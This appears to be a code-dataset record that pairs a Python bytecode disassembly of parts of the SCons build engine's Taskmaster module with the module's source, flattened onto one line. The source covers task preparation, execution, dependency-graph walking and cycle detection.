LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_GLOBAL str LOAD_FAST n CALL_FUNCTION LOAD_GLOBAL str LOAD_FAST p CALL_FUNCTION LOAD_FAST p LOAD_ATTR ref_count BUILD_TUPLE CALL_FUNCTION RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_CONST 'Taskmaster: %s\n' LOAD_FAST message BINARY_MODULO RETURN_VALUE LOAD_CONST '<%-10s %-3s %s>' LOAD_GLOBAL StateString LOAD_FAST node LOAD_METHOD get_state CALL_METHOD BINARY_SUBSCR LOAD_FAST node LOAD_ATTR ref_count LOAD_GLOBAL repr LOAD_GLOBAL str LOAD_FAST node CALL_FUNCTION CALL_FUNCTION BUILD_TUPLE BINARY_MODULO RETURN_VALUE LOAD_CONST None LOAD_FAST self STORE_ATTR ready_exc LOAD_FAST self LOAD_ATTR trace STORE_FAST T LOAD_FAST T POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_GLOBAL SCons LOAD_ATTR Util LOAD_METHOD UnicodeType LOAD_CONST '\n' CALL_METHOD LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST 'Looking for a node to evaluate' CALL_METHOD BINARY_ADD CALL_METHOD POP_TOP EXTENDED_ARG SETUP_LOOP to 1052 LOAD_FAST self LOAD_METHOD next_candidate CALL_METHOD STORE_FAST node LOAD_FAST node LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST T POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST 'No candidate anymore.' CALL_METHOD LOAD_CONST '\n' BINARY_ADD CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST node LOAD_METHOD disambiguate CALL_METHOD STORE_FAST node LOAD_FAST node LOAD_METHOD get_state CALL_METHOD STORE_FAST state LOAD_GLOBAL CollectStats POP_JUMP_IF_FALSE LOAD_GLOBAL hasattr LOAD_FAST node LOAD_ATTR attributes LOAD_CONST 'stats' CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL Stats CALL_FUNCTION LOAD_FAST node LOAD_ATTR attributes STORE_ATTR stats LOAD_GLOBAL StatsNodes LOAD_METHOD append LOAD_FAST node CALL_METHOD POP_TOP LOAD_FAST node LOAD_ATTR attributes LOAD_ATTR stats STORE_FAST S LOAD_FAST S LOAD_ATTR considered LOAD_CONST 1 BINARY_ADD LOAD_FAST S STORE_ATTR considered JUMP_FORWARD to 170 LOAD_CONST None STORE_FAST S LOAD_FAST T POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST ' Considering node %s and its children:' LOAD_FAST self LOAD_METHOD trace_node LOAD_FAST node CALL_METHOD BINARY_MODULO CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST state LOAD_GLOBAL NODE_NO_STATE COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST node LOAD_METHOD set_state LOAD_GLOBAL NODE_PENDING CALL_METHOD POP_TOP JUMP_FORWARD to 268 LOAD_FAST state LOAD_GLOBAL NODE_PENDING COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST S POP_JUMP_IF_FALSE LOAD_FAST S LOAD_ATTR already_handled LOAD_CONST 1 BINARY_ADD LOAD_FAST S STORE_ATTR already_handled LOAD_FAST T POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST ' already handled (executed)' CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST node LOAD_METHOD get_executor CALL_METHOD STORE_FAST executor SETUP_EXCEPT to 290 LOAD_FAST executor LOAD_METHOD get_all_children CALL_METHOD STORE_FAST children POP_BLOCK JUMP_FORWARD to 464 DUP_TOP LOAD_GLOBAL SystemExit COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_GLOBAL sys LOAD_METHOD exc_info CALL_METHOD LOAD_CONST 1 BINARY_SUBSCR STORE_FAST exc_value LOAD_GLOBAL SCons LOAD_ATTR Errors LOAD_METHOD ExplicitExit LOAD_FAST node LOAD_FAST exc_value LOAD_ATTR code CALL_METHOD STORE_FAST e LOAD_GLOBAL SCons LOAD_ATTR Errors LOAD_ATTR ExplicitExit LOAD_FAST e BUILD_TUPLE LOAD_FAST self STORE_ATTR ready_exc LOAD_FAST T EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST ' SystemExit' CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST node RETURN_VALUE DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 450 LOAD_GLOBAL sys LOAD_METHOD exc_info CALL_METHOD LOAD_FAST self STORE_ATTR ready_exc LOAD_FAST S EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST S LOAD_ATTR problem LOAD_CONST 1 BINARY_ADD LOAD_FAST S STORE_ATTR problem LOAD_FAST T EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST ' exception %s while scanning children.\n' LOAD_FAST e BINARY_MODULO CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST node RETURN_VALUE LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 464 END_FINALLY BUILD_LIST STORE_FAST children_not_visited LOAD_GLOBAL set CALL_FUNCTION STORE_FAST children_pending BUILD_LIST STORE_FAST children_not_ready LOAD_CONST False STORE_FAST children_failed SETUP_LOOP to 626 LOAD_GLOBAL chain LOAD_FAST executor LOAD_METHOD get_all_prerequisites CALL_METHOD LOAD_FAST children CALL_FUNCTION GET_ITER FOR_ITER to 624 STORE_FAST child LOAD_FAST child LOAD_METHOD get_state CALL_METHOD STORE_FAST childstate LOAD_FAST T EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST ' ' LOAD_FAST self LOAD_METHOD trace_node LOAD_FAST child CALL_METHOD BINARY_ADD CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST childstate LOAD_GLOBAL NODE_NO_STATE COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST children_not_visited LOAD_METHOD append LOAD_FAST child CALL_METHOD POP_TOP JUMP_FORWARD to 600 LOAD_FAST childstate LOAD_GLOBAL NODE_PENDING COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST children_pending LOAD_METHOD add LOAD_FAST child CALL_METHOD POP_TOP JUMP_FORWARD to 600 LOAD_FAST childstate LOAD_GLOBAL NODE_FAILED COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True STORE_FAST children_failed LOAD_FAST childstate LOAD_GLOBAL NODE_EXECUTING COMPARE_OP <= EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST children_not_ready LOAD_METHOD append LOAD_FAST child CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST children_not_visited EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST children_not_visited CALL_FUNCTION LOAD_CONST 1 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST children_not_visited LOAD_METHOD reverse CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR candidates LOAD_METHOD extend LOAD_FAST self LOAD_METHOD order LOAD_FAST children_not_visited CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST children_failed EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 708 LOAD_FAST executor LOAD_METHOD get_action_targets CALL_METHOD GET_ITER FOR_ITER to 706 STORE_FAST n LOAD_FAST n LOAD_METHOD set_state LOAD_GLOBAL NODE_FAILED CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST S EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST S LOAD_ATTR child_failed LOAD_CONST 1 BINARY_ADD LOAD_FAST S STORE_ATTR child_failed LOAD_FAST T POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST '****** %s\n' LOAD_FAST self LOAD_METHOD trace_node LOAD_FAST node CALL_METHOD BINARY_MODULO CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_FAST children_not_ready EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 860 LOAD_FAST children_not_ready GET_ITER FOR_ITER to 858 STORE_FAST child LOAD_FAST S EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST S LOAD_ATTR not_built LOAD_CONST 1 BINARY_ADD LOAD_FAST S STORE_ATTR not_built LOAD_FAST node LOAD_ATTR ref_count LOAD_FAST child LOAD_METHOD add_to_waiting_parents LOAD_FAST node CALL_METHOD BINARY_ADD LOAD_FAST node STORE_ATTR ref_count LOAD_FAST T EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST ' adjusted ref count: %s, child %s' LOAD_FAST self LOAD_METHOD trace_node LOAD_FAST node CALL_METHOD LOAD_GLOBAL repr LOAD_GLOBAL str LOAD_FAST child CALL_FUNCTION CALL_FUNCTION BUILD_TUPLE BINARY_MODULO CALL_METHOD CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST T EXTENDED_ARG POP_JUMP_IF_FALSE SETUP_LOOP to 908 LOAD_FAST children_pending GET_ITER FOR_ITER to 906 STORE_FAST pc LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST ' adding %s to the pending children set\n' LOAD_FAST self LOAD_METHOD trace_node LOAD_FAST pc CALL_METHOD BINARY_MODULO CALL_METHOD CALL_METHOD POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_ATTR pending_children LOAD_FAST children_pending BINARY_OR LOAD_FAST self STORE_ATTR pending_children JUMP_ABSOLUTE LOAD_CONST False STORE_FAST wait_side_effects SETUP_LOOP to 974 LOAD_FAST executor LOAD_METHOD get_action_side_effects CALL_METHOD GET_ITER FOR_ITER to 972 STORE_FAST se LOAD_FAST se LOAD_METHOD get_state CALL_METHOD LOAD_GLOBAL NODE_EXECUTING COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST se LOAD_METHOD add_to_waiting_s_e LOAD_FAST node CALL_METHOD POP_TOP LOAD_CONST True STORE_FAST wait_side_effects EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST wait_side_effects EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST S POP_JUMP_IF_FALSE LOAD_FAST S LOAD_ATTR side_effects LOAD_CONST 1 BINARY_ADD LOAD_FAST S STORE_ATTR side_effects JUMP_ABSOLUTE LOAD_FAST S EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST S LOAD_ATTR build LOAD_CONST 1 BINARY_ADD LOAD_FAST S STORE_ATTR build LOAD_FAST T EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST 'Evaluating %s\n' LOAD_FAST self LOAD_METHOD trace_node LOAD_FAST node CALL_METHOD BINARY_MODULO CALL_METHOD CALL_METHOD POP_TOP LOAD_FAST node RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_METHOD _find_next_ready_node CALL_METHOD STORE_FAST node LOAD_FAST node LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST node LOAD_METHOD get_executor CALL_METHOD STORE_FAST executor LOAD_FAST executor LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None RETURN_VALUE LOAD_FAST executor LOAD_METHOD get_all_targets CALL_METHOD STORE_FAST tlist LOAD_FAST self LOAD_METHOD tasker LOAD_FAST self LOAD_FAST tlist LOAD_FAST node LOAD_FAST self LOAD_ATTR original_top COMPARE_OP in LOAD_FAST node CALL_METHOD STORE_FAST task SETUP_EXCEPT to 84 LOAD_FAST task LOAD_METHOD make_ready CALL_METHOD POP_TOP POP_BLOCK JUMP_FORWARD to 128 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST e POP_TOP SETUP_FINALLY to 114 LOAD_GLOBAL sys LOAD_METHOD exc_info CALL_METHOD LOAD_FAST self STORE_ATTR ready_exc POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST e DELETE_FAST e END_FINALLY POP_EXCEPT JUMP_FORWARD to 128 END_FINALLY LOAD_FAST self LOAD_ATTR ready_exc POP_JUMP_IF_FALSE LOAD_FAST task LOAD_METHOD exception_set LOAD_FAST self LOAD_ATTR ready_exc CALL_METHOD POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR ready_exc LOAD_FAST task RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR trace STORE_FAST T LOAD_FAST self LOAD_ATTR pending_children STORE_FAST pending_children LOAD_GLOBAL set LOAD_FAST nodes CALL_FUNCTION STORE_FAST to_visit LOAD_FAST pending_children LOAD_FAST to_visit BINARY_SUBTRACT STORE_FAST pending_children LOAD_FAST T POP_JUMP_IF_FALSE SETUP_LOOP to 72 LOAD_FAST nodes GET_ITER FOR_ITER to 70 STORE_FAST n LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST ' removing node %s from the pending children set\n' LOAD_FAST self LOAD_METHOD trace_node LOAD_FAST n CALL_METHOD BINARY_MODULO CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK SETUP_EXCEPT to 194 SETUP_LOOP to 190 LOAD_GLOBAL len LOAD_FAST to_visit CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST to_visit LOAD_METHOD pop CALL_METHOD STORE_FAST node LOAD_FAST node_func LOAD_FAST node CALL_FUNCTION POP_TOP LOAD_FAST node LOAD_ATTR waiting_parents STORE_FAST parents LOAD_GLOBAL set CALL_FUNCTION LOAD_FAST node STORE_ATTR waiting_parents LOAD_FAST to_visit LOAD_FAST parents BINARY_OR STORE_FAST to_visit LOAD_FAST pending_children LOAD_FAST parents BINARY_SUBTRACT STORE_FAST pending_children SETUP_LOOP to 186 LOAD_FAST parents GET_ITER FOR_ITER to 184 STORE_FAST p LOAD_FAST p LOAD_ATTR ref_count LOAD_CONST 1 BINARY_SUBTRACT LOAD_FAST p STORE_ATTR ref_count LOAD_FAST T POP_JUMP_IF_FALSE LOAD_FAST T LOAD_METHOD write LOAD_FAST self LOAD_METHOD trace_message LOAD_CONST ' removing parent %s from the pending children set\n' LOAD_FAST self LOAD_METHOD trace_node LOAD_FAST p CALL_METHOD BINARY_MODULO CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK JUMP_ABSOLUTE POP_BLOCK POP_BLOCK JUMP_FORWARD to 214 DUP_TOP LOAD_GLOBAL KeyError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 214 END_FINALLY LOAD_FAST pending_children LOAD_FAST self STORE_ATTR pending_children LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR no_next_candidate LOAD_FAST self STORE_ATTR next_candidate LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR pending_children POP_JUMP_IF_TRUE LOAD_CONST None RETURN_VALUE LOAD_CONST <code object <listcomp> at 0x7fab54381c00, file "f.py", line 969> LOAD_CONST 'Taskmaster.cleanup.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST self LOAD_ATTR pending_children GET_ITER CALL_FUNCTION STORE_FAST nclist LOAD_CONST <code object <listcomp> at 0x7fab54381b70, file "f.py", line 972> LOAD_CONST 'Taskmaster.cleanup.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST nclist GET_ITER CALL_FUNCTION STORE_FAST genuine_cycles LOAD_FAST genuine_cycles POP_JUMP_IF_TRUE LOAD_CONST None RETURN_VALUE LOAD_CONST 'Found dependency cycle(s):\n' STORE_FAST desc SETUP_LOOP to 134 LOAD_FAST nclist GET_ITER FOR_ITER to 132 UNPACK_SEQUENCE STORE_FAST node STORE_FAST cycle LOAD_FAST cycle POP_JUMP_IF_FALSE LOAD_FAST desc LOAD_CONST ' ' BINARY_ADD LOAD_CONST ' -> ' LOAD_METHOD join LOAD_GLOBAL map LOAD_GLOBAL str LOAD_FAST cycle CALL_FUNCTION CALL_METHOD BINARY_ADD LOAD_CONST '\n' BINARY_ADD STORE_FAST desc JUMP_ABSOLUTE LOAD_FAST desc LOAD_CONST ' Internal Error: no cycle found for node %s (%s) in state %s\n' LOAD_FAST node LOAD_GLOBAL repr LOAD_FAST node CALL_FUNCTION LOAD_GLOBAL StateString LOAD_FAST node LOAD_METHOD get_state CALL_METHOD BINARY_SUBSCR BUILD_TUPLE BINARY_MODULO BINARY_ADD STORE_FAST desc JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL SCons LOAD_ATTR Errors LOAD_METHOD UserError LOAD_FAST desc CALL_METHOD RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 28 STORE_FAST n LOAD_FAST n LOAD_GLOBAL find_cycle LOAD_FAST n BUILD_LIST LOAD_GLOBAL set CALL_FUNCTION CALL_FUNCTION BUILD_TUPLE LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 34 UNPACK_SEQUENCE STORE_FAST node STORE_FAST cycle LOAD_FAST cycle POP_JUMP_IF_TRUE LOAD_FAST node LOAD_METHOD get_state CALL_METHOD LOAD_GLOBAL NODE_EXECUTED COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST node LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE
from __future__ import print_function import sys __doc__ = """ Generic Taskmaster module for the SCons build engine. ===================================================== This module contains the primary interface(s) between a wrapping user interface and the SCons build engine. There are two key classes here: Taskmaster ---------- This is the main engine for walking the dependency graph and calling things to decide what does or doesn't need to be built. Task ---- This is the base class for allowing a wrapping interface to decide what does or doesn't actually need to be done. The intention is for a wrapping interface to subclass this as appropriate for different types of behavior it may need. The canonical example is the SCons native Python interface, which has Task subclasses that handle its specific behavior, like printing "'foo' is up to date" when a top-level target doesn't need to be built, and handling the -c option by removing targets as its "build" action. There is also a separate subclass for suppressing this output when the -q option is used. The Taskmaster instantiates a Task object for each (set of) target(s) that it decides need to be evaluated and/or built. """ __revision__ = "src/engine/SCons/Taskmaster.py bee7caf9defd6e108fc2998a2520ddb36a967691 2019-12-17 02:07:09 bdeegan" from itertools import chain import operator import sys import traceback import SCons.Errors import SCons.Node import SCons.Warnings StateString = SCons.Node.StateString NODE_NO_STATE = SCons.Node.no_state NODE_PENDING = SCons.Node.pending NODE_EXECUTING = SCons.Node.executing NODE_UP_TO_DATE = SCons.Node.up_to_date NODE_EXECUTED = SCons.Node.executed NODE_FAILED = SCons.Node.failed print_prepare = 0 # set by option --debug=prepare CollectStats = None class Stats(object): """ A simple class for holding statistics about the disposition of a Node by the Taskmaster. If we're collecting statistics, each Node processed by the Taskmaster gets one of these attached, in which case the Taskmaster records its decision each time it processes the Node. (Ideally, that's just once per Node.) """ def __init__(self): """ Instantiates a Taskmaster.Stats object, initializing all appropriate counters to zero. """ self.considered = 0 self.already_handled = 0 self.problem = 0 self.child_failed = 0 self.not_built = 0 self.side_effects = 0 self.build = 0 StatsNodes = [] fmt = ( "%(considered)3d " "%(already_handled)3d " "%(problem)3d " "%(child_failed)3d " "%(not_built)3d " "%(side_effects)3d " "%(build)3d " ) def dump_stats(): for n in sorted(StatsNodes, key=lambda a: str(a)): print((fmt % n.attributes.stats.__dict__) + str(n)) class Task(object): """ Default SCons build engine task. This controls the interaction of the actual building of node and the rest of the engine. This is expected to handle all of the normally-customizable aspects of controlling a build, so any given application *should* be able to do what it wants by sub-classing this class and overriding methods as appropriate. If an application needs to customize something by sub-classing Taskmaster (or some other build engine class), we should first try to migrate that functionality into this class. Note that it's generally a good idea for sub-classes to call these methods explicitly to update state, etc., rather than roll their own interaction with Taskmaster from scratch. """ def __init__(self, tm, targets, top, node): self.tm = tm self.targets = targets self.top = top self.node = node self.exc_clear() def trace_message(self, method, node, description="node"): fmt = "%-20s %s %s\n" return fmt % (method + ":", description, self.tm.trace_node(node)) def display(self, message): """ Hook to allow the calling interface to display a message. This hook gets called as part of preparing a task for execution (that is, a Node to be built). As part of figuring out what Node should be built next, the actual target list may be altered, along with a message describing the alteration. The calling interface can subclass Task and provide a concrete implementation of this method to see those messages. """ pass def prepare(self): """ Called just before the task is executed. This is mainly intended to give the target Nodes a chance to unlink underlying files and make all necessary directories before the Action is actually called to build the targets. """ global print_prepare T = self.tm.trace if T: T.write(self.trace_message("Task.prepare()", self.node)) self.exception_raise() if self.tm.message: self.display(self.tm.message) self.tm.message = None executor = self.targets[0].get_executor() if executor is None: return executor.prepare() for t in executor.get_action_targets(): if print_prepare: print("Preparing target %s..." % t) for s in t.side_effects: print("...with side-effect %s..." % s) t.prepare() for s in t.side_effects: if print_prepare: print("...Preparing side-effect %s..." % s) s.prepare() def get_target(self): """Fetch the target being built or updated by this task.""" return self.node def needs_execute(self): msg = ( "Taskmaster.Task is an abstract base class; instead of\n" "\tusing it directly, " "derive from it and override the abstract methods." ) SCons.Warnings.warn(SCons.Warnings.TaskmasterNeedsExecuteWarning, msg) return True def execute(self): """ Called to execute the task. This method is called from multiple threads in a parallel build, so only do thread safe stuff here. Do thread unsafe stuff in prepare(), executed() or failed(). """ T = self.tm.trace if T: T.write(self.trace_message("Task.execute()", self.node)) try: cached_targets = [] for t in self.targets: if not t.retrieve_from_cache(): break cached_targets.append(t) if len(cached_targets) < len(self.targets): for t in cached_targets: try: t.fs.unlink(t.get_internal_path()) except (IOError, OSError): pass self.targets[0].build() else: for t in cached_targets: t.cached = 1 except SystemExit: exc_value = sys.exc_info()[1] raise SCons.Errors.ExplicitExit(self.targets[0], exc_value.code) except SCons.Errors.UserError: raise except SCons.Errors.BuildError: raise except Exception as e: buildError = SCons.Errors.convert_to_BuildError(e) buildError.node = self.targets[0] buildError.exc_info = sys.exc_info() raise buildError def executed_without_callbacks(self): """ Called when the task has been successfully executed and the Taskmaster instance doesn't want to call the Node's callback methods. """ T = self.tm.trace if T: T.write(self.trace_message("Task.executed_without_callbacks()", self.node)) for t in self.targets: if t.get_state() == NODE_EXECUTING: for side_effect in t.side_effects: side_effect.set_state(NODE_NO_STATE) t.set_state(NODE_EXECUTED) def executed_with_callbacks(self): """ Called when the task has been successfully executed and the Taskmaster instance wants to call the Node's callback methods. This may have been a do-nothing operation (to preserve build order), so we must check the node's state before deciding whether it was "built", in which case we call the appropriate Node method. In any event, we always call "visited()", which will handle any post-visit actions that must take place regardless of whether or not the target was an actual built target or a source Node. """ global print_prepare T = self.tm.trace if T: T.write(self.trace_message("Task.executed_with_callbacks()", self.node)) for t in self.targets: if t.get_state() == NODE_EXECUTING: for side_effect in t.side_effects: side_effect.set_state(NODE_NO_STATE) t.set_state(NODE_EXECUTED) if not t.cached: t.push_to_cache() t.built() t.visited() if not print_prepare and ( not hasattr(self, "options") or not self.options.debug_includes ): t.release_target_info() else: t.visited() executed = executed_with_callbacks def failed(self): """ Default action when a task fails: stop the build. Note: Although this function is normally invoked on nodes in the executing state, it might also be invoked on up-to-date nodes when using Configure(). """ self.fail_stop() def fail_stop(self): """ Explicit stop-the-build failure. This sets failure status on the target nodes and all of their dependent parent nodes. Note: Although this function is normally invoked on nodes in the executing state, it might also be invoked on up-to-date nodes when using Configure(). """ T = self.tm.trace if T: T.write(self.trace_message("Task.failed_stop()", self.node)) self.tm.will_not_build(self.targets, lambda n: n.set_state(NODE_FAILED)) self.tm.stop() self.targets = [self.tm.current_top] self.top = 1 def fail_continue(self): """ Explicit continue-the-build failure. This sets failure status on the target nodes and all of their dependent parent nodes. Note: Although this function is normally invoked on nodes in the executing state, it might also be invoked on up-to-date nodes when using Configure(). """ T = self.tm.trace if T: T.write(self.trace_message("Task.failed_continue()", self.node)) self.tm.will_not_build(self.targets, lambda n: n.set_state(NODE_FAILED)) def make_ready_all(self): """ Marks all targets in a task ready for execution. This is used when the interface needs every target Node to be visited--the canonical example being the "scons -c" option. """ T = self.tm.trace if T: T.write(self.trace_message("Task.make_ready_all()", self.node)) self.out_of_date = self.targets[:] for t in self.targets: t.disambiguate().set_state(NODE_EXECUTING) for s in t.side_effects: s.disambiguate().set_state(NODE_EXECUTING) def make_ready_current(self): """ Marks all targets in a task ready for execution if any target is not current. This is the default behavior for building only what's necessary. """ global print_prepare T = self.tm.trace if T: T.write(self.trace_message("Task.make_ready_current()", self.node)) self.out_of_date = [] needs_executing = False for t in self.targets: try: t.disambiguate().make_ready() is_up_to_date = not t.has_builder() or ( not t.always_build and t.is_up_to_date() ) except EnvironmentError as e: raise SCons.Errors.BuildError( node=t, errstr=e.strerror, filename=e.filename ) if not is_up_to_date: self.out_of_date.append(t) needs_executing = True if needs_executing: for t in self.targets: t.set_state(NODE_EXECUTING) for s in t.side_effects: s.disambiguate().set_state(NODE_EXECUTING) else: for t in self.targets: t.visited() t.set_state(NODE_UP_TO_DATE) if not print_prepare and ( not hasattr(self, "options") or not self.options.debug_includes ): t.release_target_info() make_ready = make_ready_current def postprocess(self): """ Post-processes a task after it's been executed. This examines all the targets just built (or not, we don't care if the build was successful, or even if there was no build because everything was up-to-date) to see if they have any waiting parent Nodes, or Nodes waiting on a common side effect, that can be put back on the candidates list. """ T = self.tm.trace if T: T.write(self.trace_message("Task.postprocess()", self.node)) targets = set(self.targets) pending_children = self.tm.pending_children parents = {} for t in targets: if t.waiting_parents: if T: T.write(self.trace_message("Task.postprocess()", t, "removing")) pending_children.discard(t) for p in t.waiting_parents: parents[p] = parents.get(p, 0) + 1 t.waiting_parents = set() for t in targets: if t.side_effects is not None: for s in t.side_effects: if s.get_state() == NODE_EXECUTING: s.set_state(NODE_NO_STATE) if s.get_state() == NODE_NO_STATE and s.waiting_parents: pending_children.discard(s) for p in s.waiting_parents: parents[p] = parents.get(p, 0) + 1 s.waiting_parents = set() for p in s.waiting_s_e: if p.ref_count == 0: self.tm.candidates.append(p) for p, subtract in parents.items(): p.ref_count = p.ref_count - subtract if T: T.write( self.trace_message( "Task.postprocess()", p, "adjusted parent ref count" ) ) if p.ref_count == 0: self.tm.candidates.append(p) for t in targets: t.postprocess() def exc_info(self): """ Returns info about a recorded exception. """ return self.exception def exc_clear(self): """ Clears any recorded exception. This also changes the "exception_raise" attribute to point to the appropriate do-nothing method. """ self.exception = (None, None, None) self.exception_raise = self._no_exception_to_raise def exception_set(self, exception=None): """ Records an exception to be raised at the appropriate time. This also changes the "exception_raise" attribute to point to the method that will, in fact """ if not exception: exception = sys.exc_info() self.exception = exception self.exception_raise = self._exception_raise def _no_exception_to_raise(self): pass def _exception_raise(self): """ Raises a pending exception that was recorded while getting a Task ready for execution. """ exc = self.exc_info()[:] try: exc_type, exc_value, exc_traceback = exc except ValueError: exc_type, exc_value = exc # pylint: disable=unbalanced-tuple-unpacking exc_traceback = None if sys.version_info[0] == 2: exec("raise exc_type, exc_value, exc_traceback") else: # sys.version_info[0] == 3: if isinstance( exc_value, Exception ): # hasattr(exc_value, 'with_traceback'): exec("raise exc_value.with_traceback(exc_traceback)") else: exec("raise exc_type(exc_value).with_traceback(exc_traceback)") class AlwaysTask(Task): def needs_execute(self): """ Always returns True (indicating this Task should always be executed). Subclasses that need this behavior (as opposed to the default of only executing Nodes that are out of date w.r.t. their dependencies) can use this as follows: class MyTaskSubclass(SCons.Taskmaster.Task): needs_execute = SCons.Taskmaster.Task.execute_always """ return True class OutOfDateTask(Task): def needs_execute(self): """ Returns True (indicating this Task should be executed) if this Task's target state indicates it needs executing, which has already been determined by an earlier up-to-date check. """ return self.targets[0].get_state() == SCons.Node.executing def find_cycle(stack, visited): if stack[-1] in visited: return None visited.add(stack[-1]) for n in stack[-1].waiting_parents: stack.append(n) if stack[0] == stack[-1]: return stack if find_cycle(stack, visited): return stack stack.pop() return None class Taskmaster(object): """ The Taskmaster for walking the dependency DAG. """ def __init__(self, targets=[], tasker=None, order=None, trace=None): self.original_top = targets self.top_targets_left = targets[:] self.top_targets_left.reverse() self.candidates = [] if tasker is None: tasker = OutOfDateTask self.tasker = tasker if not order: order = lambda l: l self.order = order self.message = None self.trace = trace self.next_candidate = self.find_next_candidate self.pending_children = set() def find_next_candidate(self): """ Returns the next candidate Node for (potential) evaluation. The candidate list (really a stack) initially consists of all of the top-level (command line) targets provided when the Taskmaster was initialized. While we walk the DAG, visiting Nodes, all the children that haven't finished processing get pushed on to the candidate list. Each child can then be popped and examined in turn for whether *their* children are all up-to-date, in which case a Task will be created for their actual evaluation and potential building. Here is where we also allow candidate Nodes to alter the list of Nodes that should be examined. 